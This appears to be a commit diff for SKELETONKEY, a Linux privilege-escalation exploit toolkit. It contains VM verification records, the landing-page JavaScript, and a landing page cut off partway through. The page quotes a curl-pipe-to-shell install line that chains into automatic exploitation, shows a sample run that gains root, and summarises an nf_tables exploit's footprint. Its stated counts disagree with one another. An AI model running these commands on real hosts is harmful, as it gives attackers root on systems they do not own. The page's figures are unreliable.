{"module":"sudo_samedit","verified_at":"2026-05-23T20:00:52Z","host_kernel":"4.15.0-213-generic","host_distro":"Ubuntu 18.04.6 LTS","vm_box":"generic/ubuntu1804","expect_detect":"VULNERABLE","actual_detect":"?","status":"MISMATCH"}
|
||||
{"module":"af_packet","verified_at":"2026-05-23T20:02:23Z","host_kernel":"4.15.0-213-generic","host_distro":"Ubuntu 18.04.6 LTS","vm_box":"generic/ubuntu1804","expect_detect":"VULNERABLE","actual_detect":"?","status":"MISMATCH"}
|
||||
{"module":"pack2theroot","verified_at":"2026-05-23T20:04:20Z","host_kernel":"6.1.0-17-amd64","host_distro":"Debian GNU/Linux 12 (bookworm)","vm_box":"generic/debian12","expect_detect":"VULNERABLE","actual_detect":"OK","status":"MISMATCH"}
|
||||
{"module":"cls_route4","verified_at":"2026-05-23T20:13:16Z","host_kernel":"5.15.0-43-generic","host_distro":"Ubuntu 20.04.6 LTS","vm_box":"generic/ubuntu2004","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
|
||||
{"module":"nft_payload","verified_at":"2026-05-23T20:15:45Z","host_kernel":"5.15.0-43-generic","host_distro":"Ubuntu 20.04.6 LTS","vm_box":"generic/ubuntu2004","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
|
||||
{"module":"af_packet2","verified_at":"2026-05-23T20:18:13Z","host_kernel":"5.4.0-169-generic","host_distro":"Ubuntu 20.04.6 LTS","vm_box":"generic/ubuntu2004","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
|
||||
{"module":"sequoia","verified_at":"2026-05-23T20:20:38Z","host_kernel":"5.4.0-169-generic","host_distro":"Ubuntu 20.04.6 LTS","vm_box":"generic/ubuntu2004","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
|
||||
{"module":"ptrace_traceme","verified_at":"2026-05-23T20:23:07Z","host_kernel":"4.15.0-213-generic","host_distro":"Ubuntu 18.04.6 LTS","vm_box":"generic/ubuntu1804","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
|
||||
{"module":"sudo_samedit","verified_at":"2026-05-23T20:23:51Z","host_kernel":"4.15.0-213-generic","host_distro":"Ubuntu 18.04.6 LTS","vm_box":"generic/ubuntu1804","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
|
||||
{"module":"af_packet","verified_at":"2026-05-23T20:24:35Z","host_kernel":"4.15.0-213-generic","host_distro":"Ubuntu 18.04.6 LTS","vm_box":"generic/ubuntu1804","expect_detect":"VULNERABLE","actual_detect":"OK","status":"MISMATCH"}
|
||||
{"module":"pack2theroot","verified_at":"2026-05-23T20:25:19Z","host_kernel":"6.1.0-17-amd64","host_distro":"Debian GNU/Linux 12 (bookworm)","vm_box":"generic/debian12","expect_detect":"VULNERABLE","actual_detect":"PRECOND_FAIL","status":"MISMATCH"}
|
||||
{"module":"sudoedit_editor","verified_at":"2026-05-23T20:26:02Z","host_kernel":"5.15.0-91-generic","host_distro":"Ubuntu 22.04.3 LTS","vm_box":"generic/ubuntu2204","expect_detect":"PRECOND_FAIL","actual_detect":"PRECOND_FAIL","status":"match"}
|
||||
{"module":"af_packet","verified_at":"2026-05-23T20:27:39Z","host_kernel":"4.15.0-213-generic","host_distro":"Ubuntu 18.04.6 LTS","vm_box":"generic/ubuntu1804","expect_detect":"OK","actual_detect":"OK","status":"match"}
|
||||
{"module":"pack2theroot","verified_at":"2026-05-23T20:28:23Z","host_kernel":"6.1.0-17-amd64","host_distro":"Debian GNU/Linux 12 (bookworm)","vm_box":"generic/debian12","expect_detect":"PRECOND_FAIL","actual_detect":"PRECOND_FAIL","status":"match"}
|
||||
{"module":"nf_tables","verified_at":"2026-05-23T21:22:59Z","host_kernel":"5.15.5-051505-generic","host_distro":"Ubuntu 22.04.3 LTS","vm_box":"generic/ubuntu2204","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
|
||||
{"module":"af_unix_gc","verified_at":"2026-05-23T21:27:13Z","host_kernel":"5.15.5-051505-generic","host_distro":"Ubuntu 22.04.3 LTS","vm_box":"generic/ubuntu2204","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
|
||||
{"module":"nft_set_uaf","verified_at":"2026-05-23T21:30:41Z","host_kernel":"5.15.5-051505-generic","host_distro":"Ubuntu 22.04.3 LTS","vm_box":"generic/ubuntu2204","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
|
||||
{"module":"stackrot","verified_at":"2026-05-23T21:34:12Z","host_kernel":"6.1.10-060110-generic","host_distro":"Ubuntu 22.04.3 LTS","vm_box":"generic/ubuntu2204","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
|
||||
{"module":"sudo_chwoot","verified_at":"2026-05-24T02:39:11Z","host_kernel":"5.15.0-91-generic","host_distro":"Ubuntu 22.04.3 LTS","vm_box":"generic/ubuntu2204","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
|
||||
{"module":"udisks_libblockdev","verified_at":"2026-05-24T02:44:17Z","host_kernel":"6.1.0-17-amd64","host_distro":"Debian GNU/Linux 12 (bookworm)","vm_box":"generic/debian12","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
|
||||
{"module":"nft_pipapo","verified_at":"2026-05-24T03:27:10Z","host_kernel":"5.15.5-051505-generic","host_distro":"Ubuntu 22.04.3 LTS","vm_box":"generic/ubuntu2204","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
|
||||
{"module":"sudo_runas_neg1","verified_at":"2026-05-24T03:29:18Z","host_kernel":"4.15.0-213-generic","host_distro":"Ubuntu 18.04.6 LTS","vm_box":"generic/ubuntu1804","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
|
||||
{"module":"tioscpgrp","verified_at":"2026-05-24T03:31:08Z","host_kernel":"5.4.0-26-generic","host_distro":"Ubuntu 20.04.6 LTS","vm_box":"generic/ubuntu2004","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
|
||||
{"module":"dirtydecrypt","verified_at":"2026-05-24T05:16:27Z","host_kernel":"6.19.7-061907-generic","host_distro":"Ubuntu 22.04.3 LTS","vm_box":"generic/ubuntu2204","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
|
||||
+213
@@ -0,0 +1,213 @@
|
||||
/* SKELETONKEY landing page — interactive bits.
|
||||
* No frameworks. ~150 lines vanilla JS. Respects prefers-reduced-motion. */
|
||||
|
||||
(function () {
|
||||
'use strict';
|
||||
|
||||
const reduceMotion = window.matchMedia('(prefers-reduced-motion: reduce)').matches;
|
||||
|
||||
/* ============================================================
|
||||
* 1. typed install command in the hero
|
||||
* ============================================================ */
|
||||
const installCmd =
|
||||
'curl -sSL https://github.com/KaraZajac/SKELETONKEY/releases/latest/download/install.sh | sh \\\n && skeletonkey --auto --i-know';
|
||||
const typedEl = document.getElementById('install-typed');
|
||||
const cursorEl = document.getElementById('install-cursor');
|
||||
|
||||
function typeInstall(cb) {
|
||||
if (reduceMotion) {
|
||||
typedEl.textContent = installCmd;
|
||||
if (cursorEl) cursorEl.style.display = 'none';
|
||||
if (cb) cb();
|
||||
return;
|
||||
}
|
||||
let i = 0;
|
||||
function step() {
|
||||
typedEl.textContent = installCmd.slice(0, i);
|
||||
i++;
|
||||
if (i <= installCmd.length) {
|
||||
setTimeout(step, 18 + Math.random() * 22);
|
||||
} else {
|
||||
if (cursorEl) {
|
||||
// keep cursor blinking for 2s, then hide
|
||||
setTimeout(() => { cursorEl.style.display = 'none'; }, 2000);
|
||||
}
|
||||
if (cb) cb();
|
||||
}
|
||||
}
|
||||
step();
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* 2. copy install command
|
||||
* ============================================================ */
|
||||
window.copyInstall = function (btn) {
|
||||
const text = installCmd;
|
||||
navigator.clipboard.writeText(text).then(() => {
|
||||
const original = btn.textContent;
|
||||
btn.textContent = 'copied!';
|
||||
btn.classList.add('copied');
|
||||
setTimeout(() => {
|
||||
btn.textContent = original;
|
||||
btn.classList.remove('copied');
|
||||
}, 1500);
|
||||
}).catch(() => {
|
||||
btn.textContent = '(copy failed)';
|
||||
setTimeout(() => { btn.textContent = 'copy'; }, 1500);
|
||||
});
|
||||
};
|
||||
|
||||
/* ============================================================
|
||||
* 3. stat count-up animation on view
|
||||
* ============================================================ */
|
||||
function countUp(el) {
|
||||
const target = parseInt(el.dataset.target, 10);
|
||||
if (!target || reduceMotion) { el.textContent = target; return; }
|
||||
const dur = 1100;
|
||||
const start = performance.now();
|
||||
function tick(now) {
|
||||
const t = Math.min((now - start) / dur, 1);
|
||||
// ease-out
|
||||
const v = Math.round(target * (1 - Math.pow(1 - t, 3)));
|
||||
el.textContent = v;
|
||||
if (t < 1) requestAnimationFrame(tick);
|
||||
}
|
||||
requestAnimationFrame(tick);
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* 4. --explain terminal: line-by-line reveal
|
||||
* ============================================================ */
|
||||
const explainHTML = [
|
||||
'\n',
|
||||
'<span class="t-rule">════════════════════════════════════════════════════</span>\n',
|
||||
' <span class="t-mod">nf_tables</span> <span class="t-cve">CVE-2024-1086</span>\n',
|
||||
'<span class="t-rule">════════════════════════════════════════════════════</span>\n',
|
||||
' <span class="t-summary">nf_tables nft_verdict_init UAF (cross-cache) → arbitrary kernel R/W</span>\n',
|
||||
'\n',
|
||||
'<span class="t-header">WEAKNESS</span>\n',
|
||||
' <span class="t-cwe">CWE-416</span>\n',
|
||||
' <span class="t-label">MITRE ATT&CK:</span> <span class="t-tech">T1068</span>\n',
|
||||
'\n',
|
||||
'<span class="t-header">THREAT INTEL</span>\n',
|
||||
' <span class="t-kev-yes">★ In CISA Known Exploited Vulnerabilities catalog (added 2024-05-30)</span>\n',
|
||||
' <span class="t-label">Affected:</span> 5.14 ≤ K, fixed mainline 6.8; backports: 6.7.2 / 6.6.13 / 6.1.74 / 5.15.149 / 5.10.210\n',
|
||||
'\n',
|
||||
'<span class="t-header">HOST FINGERPRINT</span>\n',
|
||||
' <span class="t-label">kernel:</span> 5.15.0-43-generic (x86_64)\n',
|
||||
' <span class="t-label">distro:</span> Ubuntu 22.04.5 LTS\n',
|
||||
' <span class="t-label">unpriv userns:</span> ALLOWED\n',
|
||||
'\n',
|
||||
'<span class="t-header">DETECT() TRACE (live; reads ctx->host, fires gates)</span>\n',
|
||||
'<span class="t-i">[i] nf_tables: kernel 5.15.0-43-generic in vulnerable range</span>\n',
|
||||
'<span class="t-i">[i] nf_tables: userns gate passed</span>\n',
|
||||
'<span class="t-i">[i] nf_tables: nft_verdict_init reachable; bug is fireable here</span>\n',
|
||||
'\n',
|
||||
'<span class="t-header">VERDICT:</span> <span class="t-vuln">VULNERABLE</span>\n',
|
||||
' -> bug is reachable. The OPSEC section below shows what a successful\n',
|
||||
' exploit() would leave on this host.\n',
|
||||
'\n',
|
||||
'<span class="t-header">OPSEC FOOTPRINT (what exploit() leaves on this host)</span>\n',
|
||||
' unshare(CLONE_NEWUSER|CLONE_NEWNET) + nfnetlink batch (NEWTABLE +\n',
|
||||
' NEWCHAIN/LOCAL_OUT + NEWSET verdict-key + NEWSETELEM malformed NFT_GOTO)\n',
|
||||
' committed twice. msg_msg cg-96 groom; dmesg: KASAN double-free on vuln\n',
|
||||
' kernels. Cleanup is finisher-gated; no persistent files on success.\n',
|
||||
'\n',
|
||||
'<span class="t-header">DETECTION COVERAGE (rules embedded in this binary)</span>\n',
|
||||
' <span class="t-check">✓</span> auditd <span class="t-check">✓</span> sigma <span class="t-check">✓</span> yara <span class="t-check">✓</span> falco\n',
|
||||
];
|
||||
function playExplain(el) {
|
||||
if (reduceMotion) { el.innerHTML = explainHTML.join(''); return; }
|
||||
let i = 0;
|
||||
el.innerHTML = '';
|
||||
function step() {
|
||||
if (i >= explainHTML.length) return;
|
||||
el.innerHTML += explainHTML[i];
|
||||
i++;
|
||||
// pause longer on blank lines to feel like real terminal output
|
||||
const next = explainHTML[i - 1];
|
||||
const delay = next === '\n' ? 60 : (45 + Math.random() * 50);
|
||||
setTimeout(step, delay);
|
||||
}
|
||||
step();
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* 5. quickstart tabs
|
||||
* ============================================================ */
|
||||
function initTabs() {
|
||||
const tabs = document.querySelectorAll('.tab');
|
||||
const panels = document.querySelectorAll('.tab-panel');
|
||||
tabs.forEach((t) => {
|
||||
t.addEventListener('click', () => {
|
||||
const tab = t.dataset.tab;
|
||||
tabs.forEach((x) => x.classList.toggle('active', x === t));
|
||||
panels.forEach((p) => p.classList.toggle('active', p.dataset.tab === tab));
|
||||
});
|
||||
});
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* 6. scroll-triggered reveal + first-time triggers
|
||||
* ============================================================ */
|
||||
function initReveal() {
|
||||
if (!('IntersectionObserver' in window) || reduceMotion) {
|
||||
document.querySelectorAll('.reveal').forEach((el) => el.classList.add('in'));
|
||||
// also fire one-shot animations immediately
|
||||
countAllStats();
|
||||
const explainEl = document.getElementById('explain-output');
|
||||
if (explainEl) playExplain(explainEl);
|
||||
return;
|
||||
}
|
||||
|
||||
const obs = new IntersectionObserver((entries) => {
|
||||
entries.forEach((e) => {
|
||||
if (e.isIntersecting) {
|
||||
e.target.classList.add('in');
|
||||
// fire one-shot effects when the right section becomes visible
|
||||
if (e.target.id === 'explain') {
|
||||
const out = e.target.querySelector('#explain-output');
|
||||
if (out && !out.dataset.played) {
|
||||
out.dataset.played = '1';
|
||||
playExplain(out);
|
||||
}
|
||||
}
|
||||
obs.unobserve(e.target);
|
||||
}
|
||||
});
|
||||
}, { threshold: 0.15 });
|
||||
|
||||
document.querySelectorAll('.reveal').forEach((el) => obs.observe(el));
|
||||
}
|
||||
|
||||
function countAllStats() {
|
||||
document.querySelectorAll('.stat-chip .num').forEach(countUp);
|
||||
}
|
||||
|
||||
/* fire the stats count-up as soon as the hero shows */
|
||||
function initStatsCountUp() {
|
||||
if (!('IntersectionObserver' in window) || reduceMotion) {
|
||||
countAllStats();
|
||||
return;
|
||||
}
|
||||
const row = document.getElementById('stats-row');
|
||||
if (!row) return;
|
||||
const o = new IntersectionObserver((es) => {
|
||||
if (es[0].isIntersecting) {
|
||||
countAllStats();
|
||||
o.disconnect();
|
||||
}
|
||||
});
|
||||
o.observe(row);
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* boot
|
||||
* ============================================================ */
|
||||
document.addEventListener('DOMContentLoaded', () => {
|
||||
typeInstall();
|
||||
initTabs();
|
||||
initReveal();
|
||||
initStatsCountUp();
|
||||
});
|
||||
})();
|
||||
+609
@@ -0,0 +1,609 @@
|
||||
<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
<head>
|
||||
<meta charset="UTF-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||
<title>SKELETONKEY — Linux LPE corpus, VM-verified, SOC-ready detection</title>
|
||||
<meta name="description" content="One binary. 39 Linux privilege-escalation modules from 2016 to 2026. 28 of 34 CVEs empirically verified in real Linux VMs. 10 KEV-listed. 151 detection rules across auditd/sigma/yara/falco. MITRE ATT&CK and CWE annotated. --explain gives operator briefings.">
|
||||
<meta property="og:title" content="SKELETONKEY — Linux LPE corpus, VM-verified">
|
||||
<meta property="og:description" content="39 Linux LPE modules; 28 of 34 CVEs empirically verified in real VMs. 151 detection rules. ATT&CK + CWE + KEV annotated.">
|
||||
<meta property="og:type" content="website">
|
||||
<meta property="og:url" content="https://karazajac.github.io/SKELETONKEY/">
|
||||
<meta property="og:image" content="https://karazajac.github.io/SKELETONKEY/og.png">
|
||||
<meta property="og:image:width" content="1200">
|
||||
<meta property="og:image:height" content="630">
|
||||
<meta name="twitter:card" content="summary_large_image">
|
||||
<meta name="twitter:image" content="https://karazajac.github.io/SKELETONKEY/og.png">
|
||||
<meta name="theme-color" content="#0a0a14">
|
||||
|
||||
<link rel="preconnect" href="https://fonts.googleapis.com">
|
||||
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
|
||||
<link href="https://fonts.googleapis.com/css2?family=Inter:wght@400;500;600;700;800&family=JetBrains+Mono:wght@400;500;700&family=Space+Grotesk:wght@500;700&display=swap" rel="stylesheet">
|
||||
|
||||
<link rel="stylesheet" href="style.css">
|
||||
</head>
|
||||
<body>
|
||||
|
||||
<!-- gradient mesh background, animated, fixed behind content -->
|
||||
<div class="bg-mesh" aria-hidden="true">
|
||||
<div class="mesh-blob mesh-blob-1"></div>
|
||||
<div class="mesh-blob mesh-blob-2"></div>
|
||||
<div class="mesh-blob mesh-blob-3"></div>
|
||||
</div>
|
||||
|
||||
<nav class="nav">
|
||||
<div class="container nav-inner">
|
||||
<a class="nav-brand" href="#">
|
||||
<span class="nav-mark" aria-hidden="true">◆</span>
|
||||
SKELETONKEY
|
||||
</a>
|
||||
<div class="nav-links">
|
||||
<a href="#corpus">Corpus</a>
|
||||
<a href="#explain">--explain</a>
|
||||
<a href="#detection">Detection</a>
|
||||
<a href="#quickstart">Quickstart</a>
|
||||
<a class="nav-github" href="https://github.com/KaraZajac/SKELETONKEY" aria-label="GitHub">
|
||||
<svg height="18" viewBox="0 0 16 16" width="18" fill="currentColor" aria-hidden="true">
|
||||
<path d="M8 0C3.58 0 0 3.58 0 8c0 3.54 2.29 6.53 5.47 7.59.4.07.55-.17.55-.38 0-.19-.01-.82-.01-1.49-2.01.37-2.53-.49-2.69-.94-.09-.23-.48-.94-.82-1.13-.28-.15-.68-.52-.01-.53.63-.01 1.08.58 1.23.82.72 1.21 1.87.87 2.33.66.07-.52.28-.87.51-1.07-1.78-.2-3.64-.89-3.64-3.95 0-.87.31-1.59.82-2.15-.08-.2-.36-1.02.08-2.12 0 0 .67-.21 2.2.82.64-.18 1.32-.27 2-.27.68 0 1.36.09 2 .27 1.53-1.04 2.2-.82 2.2-.82.44 1.1.16 1.92.08 2.12.51.56.82 1.27.82 2.15 0 3.07-1.87 3.75-3.65 3.95.29.25.54.73.54 1.48 0 1.07-.01 1.93-.01 2.2 0 .21.15.46.55.38A8.013 8.013 0 0 0 16 8c0-4.42-3.58-8-8-8z"/>
|
||||
</svg>
|
||||
</a>
|
||||
</div>
|
||||
</div>
|
||||
</nav>
|
||||
|
||||
<!-- ──────────────── HERO ──────────────── -->
|
||||
<header class="hero">
|
||||
<div class="container hero-inner">
|
||||
<div class="hero-eyebrow">
|
||||
<span class="dot dot-pulse"></span>
|
||||
v0.9.3 — released 2026-05-24
|
||||
</div>
|
||||
<h1 class="hero-title">
|
||||
<span class="display-wordmark">SKELETONKEY</span>
|
||||
</h1>
|
||||
<p class="hero-tag">
|
||||
One binary. <strong>39 Linux LPE modules</strong> covering 34 CVEs —
|
||||
<strong>every year 2016 → 2026</strong>. 28 of 34 confirmed against
|
||||
real Linux kernels in VMs. SOC-ready detection rules in four SIEM
|
||||
formats. MITRE ATT&CK + CWE + CISA KEV annotated.
|
||||
<span class="hero-tag-pop">--explain gives a one-page operator briefing per CVE.</span>
|
||||
</p>
|
||||
|
||||
<div class="install-block">
|
||||
<div class="install-bar">
|
||||
<span class="install-dots" aria-hidden="true">
|
||||
<i></i><i></i><i></i>
|
||||
</span>
|
||||
<span class="install-title">terminal</span>
|
||||
<button class="copy" onclick="copyInstall(this)" aria-label="Copy install command">copy</button>
|
||||
</div>
|
||||
<pre id="install-cmd"><span class="prompt">$</span> <span id="install-typed"></span><span class="cursor" id="install-cursor">▋</span></pre>
|
||||
</div>
|
||||
|
||||
<div class="stats-row" id="stats-row">
|
||||
<div class="stat-chip"><span class="num" data-target="39">0</span><span>modules</span></div>
|
||||
<div class="stat-chip stat-vfy"><span class="num" data-target="28">0</span><span>✓ VM-verified</span></div>
|
||||
<div class="stat-chip stat-kev"><span class="num" data-target="12">0</span><span>★ in CISA KEV</span></div>
|
||||
<div class="stat-chip"><span class="num" data-target="151">0</span><span>detection rules</span></div>
|
||||
</div>
|
||||
|
||||
<div class="cta-row">
|
||||
<a class="btn btn-primary" href="https://github.com/KaraZajac/SKELETONKEY/releases/latest">
|
||||
↓ Latest release
|
||||
</a>
|
||||
<a class="btn" href="#explain">See <code>--explain</code> in action</a>
|
||||
<a class="btn btn-ghost" href="https://github.com/KaraZajac/SKELETONKEY">
|
||||
<svg height="16" viewBox="0 0 16 16" width="16" fill="currentColor"><path d="M8 0C3.58 0 0 3.58 0 8c0 3.54 2.29 6.53 5.47 7.59.4.07.55-.17.55-.38 0-.19-.01-.82-.01-1.49-2.01.37-2.53-.49-2.69-.94-.09-.23-.48-.94-.82-1.13-.28-.15-.68-.52-.01-.53.63-.01 1.08.58 1.23.82.72 1.21 1.87.87 2.33.66.07-.52.28-.87.51-1.07-1.78-.2-3.64-.89-3.64-3.95 0-.87.31-1.59.82-2.15-.08-.2-.36-1.02.08-2.12 0 0 .67-.21 2.2.82.64-.18 1.32-.27 2-.27.68 0 1.36.09 2 .27 1.53-1.04 2.2-.82 2.2-.82.44 1.1.16 1.92.08 2.12.51.56.82 1.27.82 2.15 0 3.07-1.87 3.75-3.65 3.95.29.25.54.73.54 1.48 0 1.07-.01 1.93-.01 2.2 0 .21.15.46.55.38A8.013 8.013 0 0 0 16 8c0-4.42-3.58-8-8-8z"/></svg>
|
||||
Source on GitHub
|
||||
</a>
|
||||
</div>
|
||||
|
||||
<p class="hero-warn">Authorized testing only. See <a href="https://github.com/KaraZajac/SKELETONKEY/blob/main/docs/ETHICS.md">ETHICS.md</a>.</p>
|
||||
</div>
|
||||
</header>
|
||||
|
||||
<!-- ──────────────── TRUST STRIP ──────────────── -->
|
||||
<section class="trust-strip">
|
||||
<div class="container">
|
||||
<div class="trust-row">
|
||||
<span class="trust-label">Grounded in authoritative sources</span>
|
||||
<ul class="trust-items">
|
||||
<li>CISA KEV catalog</li>
|
||||
<li>NVD CVE API</li>
|
||||
<li>MITRE ATT&CK</li>
|
||||
<li>kernel.org stable tree</li>
|
||||
<li>Debian Security Tracker</li>
|
||||
<li>NIST CWE</li>
|
||||
</ul>
|
||||
</div>
|
||||
</div>
|
||||
</section>
|
||||
|
||||
<!-- ──────────────── --EXPLAIN SHOWCASE ──────────────── -->
|
||||
<section id="explain" class="section section-feature reveal">
|
||||
<div class="container">
|
||||
<div class="section-head">
|
||||
<span class="section-tag">flagship feature</span>
|
||||
<h2>One command. Complete briefing.</h2>
|
||||
<p class="lead">
|
||||
<code>skeletonkey --explain <module></code> renders the page every
|
||||
team needs: CVE / CWE / MITRE ATT&CK / CISA KEV status, host
|
||||
fingerprint, live detect() trace with verdict, OPSEC footprint, and
|
||||
the detection-rule coverage matrix. Triage tickets and SOC handoffs
|
||||
in one paste.
|
||||
</p>
|
||||
</div>
|
||||
|
||||
<div class="terminal-shell">
|
||||
<div class="terminal-bar">
|
||||
<span class="install-dots" aria-hidden="true"><i></i><i></i><i></i></span>
|
||||
<span class="install-title">skk-host ~ $</span>
|
||||
</div>
|
||||
<pre class="terminal-body" id="explain-output"></pre>
|
||||
</div>
|
||||
|
||||
<div class="explain-annotations">
|
||||
<div class="annotation">
|
||||
<span class="anno-num">1</span>
|
||||
<div>
|
||||
<strong>Triage metadata in the header</strong>
|
||||
<p>CWE class, MITRE ATT&CK technique, CISA KEV status with
|
||||
date_added. Fed from <code>tools/refresh-cve-metadata.py</code>
|
||||
which pulls fresh from federal data sources.</p>
|
||||
</div>
|
||||
</div>
|
||||
<div class="annotation">
|
||||
<span class="anno-num">2</span>
|
||||
<div>
|
||||
<strong>Live host fingerprint</strong>
|
||||
<p>Cached once at startup by <code>core/host.c</code>. Every
|
||||
module sees the same kernel / arch / distro / userns / apparmor
|
||||
/ selinux / lockdown picture.</p>
|
||||
</div>
|
||||
</div>
|
||||
<div class="annotation">
|
||||
<span class="anno-num">3</span>
|
||||
<div>
|
||||
<strong>Real detect() trace</strong>
|
||||
<p>The verbose stderr of the module's own probe — each gate
|
||||
fires, each kernel_range entry checked, each verdict justified.
|
||||
No more black-box "VULNERABLE" outputs.</p>
|
||||
</div>
|
||||
</div>
|
||||
<div class="annotation">
|
||||
<span class="anno-num">4</span>
|
||||
<div>
|
||||
<strong>OPSEC footprint</strong>
|
||||
<p>Per-exploit description of what the SOC would see if this
|
||||
fired: file artifacts, dmesg signatures, syscall observables,
|
||||
network activity, cleanup behavior.</p>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</section>
|
||||
|
||||
<!-- ──────────────── BENTO FEATURES ──────────────── -->
|
||||
<section class="section section-bento reveal">
|
||||
<div class="container">
|
||||
<div class="section-head">
|
||||
<span class="section-tag">capabilities</span>
|
||||
<h2>Built for every side of the desk</h2>
|
||||
</div>
|
||||
|
||||
<div class="bento">
|
||||
<article class="bento-card bento-lg">
|
||||
<div class="bento-icon">⚡</div>
|
||||
<h3>Auto-pick the safest exploit</h3>
|
||||
<p>
|
||||
<code>--auto</code> ranks vulnerable modules by stability
|
||||
(structural escapes > page-cache writes > userspace races
|
||||
> kernel races) and runs the safest one. Never crashes a
|
||||
production box looking for root.
|
||||
</p>
|
||||
<pre class="bento-code">$ skeletonkey --auto --i-know
|
||||
[*] 3 vulnerable; safest is 'pwnkit' (rank 100)
|
||||
[*] launching --exploit pwnkit...
|
||||
# id
|
||||
uid=0(root) gid=0(root)</pre>
|
||||
</article>
|
||||
|
||||
<article class="bento-card">
|
||||
<div class="bento-icon">🛡</div>
|
||||
<h3>151 detection rules</h3>
|
||||
<p>
|
||||
auditd · sigma · yara · falco. One command emits the corpus for
|
||||
your SIEM. Each rule grounded in the module's own syscalls.
|
||||
</p>
|
||||
<div class="rule-cov">
|
||||
<div class="rule-row"><span>auditd</span><span class="rule-bar"><i style="width:96.7%"></i></span><span>30/31</span></div>
|
||||
<div class="rule-row"><span>sigma</span><span class="rule-bar"><i style="width:100%"></i></span><span>31/31</span></div>
|
||||
<div class="rule-row"><span>yara</span><span class="rule-bar"><i style="width:90.3%"></i></span><span>28/31</span></div>
|
||||
<div class="rule-row"><span>falco</span><span class="rule-bar"><i style="width:96.7%"></i></span><span>30/31</span></div>
|
||||
</div>
|
||||
</article>
|
||||
|
||||
<article class="bento-card bento-kev">
|
||||
<div class="bento-icon">★</div>
|
||||
<h3>CISA KEV prioritized</h3>
|
||||
<p>
|
||||
12 of 34 CVEs in the corpus are in CISA's Known Exploited
|
||||
Vulnerabilities catalog — actively exploited in the wild.
|
||||
Refreshed on demand via <code>tools/refresh-cve-metadata.py</code>.
|
||||
</p>
|
||||
</article>
|
||||
|
||||
<article class="bento-card">
|
||||
<div class="bento-icon">🧬</div>
|
||||
<h3>OPSEC notes per exploit</h3>
|
||||
<p>
|
||||
Each module ships a runtime-footprint paragraph: files, dmesg,
|
||||
syscall observables, network, persistence. The inverse of the
|
||||
detection rules — what an attacker would leave behind on
|
||||
<em>your</em> host.
|
||||
</p>
|
||||
</article>
|
||||
|
||||
<article class="bento-card bento-lg">
|
||||
<div class="bento-icon">🎯</div>
|
||||
<h3>One host fingerprint, every module</h3>
|
||||
<p>
|
||||
<code>core/host.c</code> probes kernel / arch / distro / userns /
|
||||
apparmor / selinux / lockdown / sudo version / polkit version
|
||||
<em>once</em> at startup. Every <code>detect()</code> reads the
|
||||
same cached snapshot, so verdicts stay coherent across the
|
||||
corpus.
|
||||
</p>
|
||||
<pre class="bento-code">struct skeletonkey_host {
|
||||
struct kernel_version kernel;
|
||||
char arch[32], distro_id[64];
|
||||
bool unprivileged_userns_allowed;
|
||||
bool apparmor_restrict_userns;
|
||||
bool kpti_enabled, selinux_enforcing;
|
||||
char meltdown_mitigation[64];
|
||||
char sudo_version[64], polkit_version[64];
|
||||
...
|
||||
};</pre>
|
||||
</article>
|
||||
|
||||
<article class="bento-card">
|
||||
<div class="bento-icon">📡</div>
|
||||
<h3>JSON for pipelines</h3>
|
||||
<p>
|
||||
<code>--scan --json</code> emits a stable schema (see
|
||||
<a href="https://github.com/KaraZajac/SKELETONKEY/blob/main/docs/JSON_SCHEMA.md">JSON_SCHEMA.md</a>)
|
||||
with triage metadata, opsec notes, and rule coverage embedded.
|
||||
Ready for Splunk / Elastic / Sentinel ingest.
|
||||
</p>
|
||||
</article>
|
||||
|
||||
<article class="bento-card">
|
||||
<div class="bento-icon">🔒</div>
|
||||
<h3>No SaaS. No telemetry.</h3>
|
||||
<p>
|
||||
One static binary. No phone-home, no analytics, no cloud
|
||||
accounts. Reads <code>/proc</code> + <code>/sys</code>, runs the
|
||||
probe, exits. JSON or plain text — your pipeline owns the data.
|
||||
</p>
|
||||
</article>
|
||||
|
||||
<article class="bento-card bento-vfy">
|
||||
<div class="bento-icon">✓</div>
|
||||
<h3>22 modules empirically verified</h3>
|
||||
<p>
|
||||
<code>tools/verify-vm/</code> spins up known-vulnerable
|
||||
kernels (stock distro + mainline from kernel.ubuntu.com), runs
|
||||
<code>--explain --active</code> per module, and records the
|
||||
verdict. <strong>28 of 34 CVEs</strong> confirmed against
|
||||
real Linux across Ubuntu 18.04 / 20.04 / 22.04 + Debian 11 / 12
|
||||
+ mainline 5.4.0-26 / 5.15.5 / 6.1.10 / 6.19.7. Records baked into the binary;
|
||||
<code>--list</code> shows ✓ per module.
|
||||
</p>
|
||||
</article>
|
||||
</div>
|
||||
</div>
|
||||
</section>
|
||||
|
||||
<!-- ──────────────── MODULE CORPUS ──────────────── -->
|
||||
<section id="corpus" class="section reveal">
|
||||
<div class="container">
|
||||
<div class="section-head">
|
||||
<span class="section-tag">corpus</span>
|
||||
<h2>34 CVEs across 10 years. ★ = actively exploited (CISA KEV).</h2>
|
||||
</div>
|
||||
|
||||
<h3 class="corpus-h" data-color="green">
|
||||
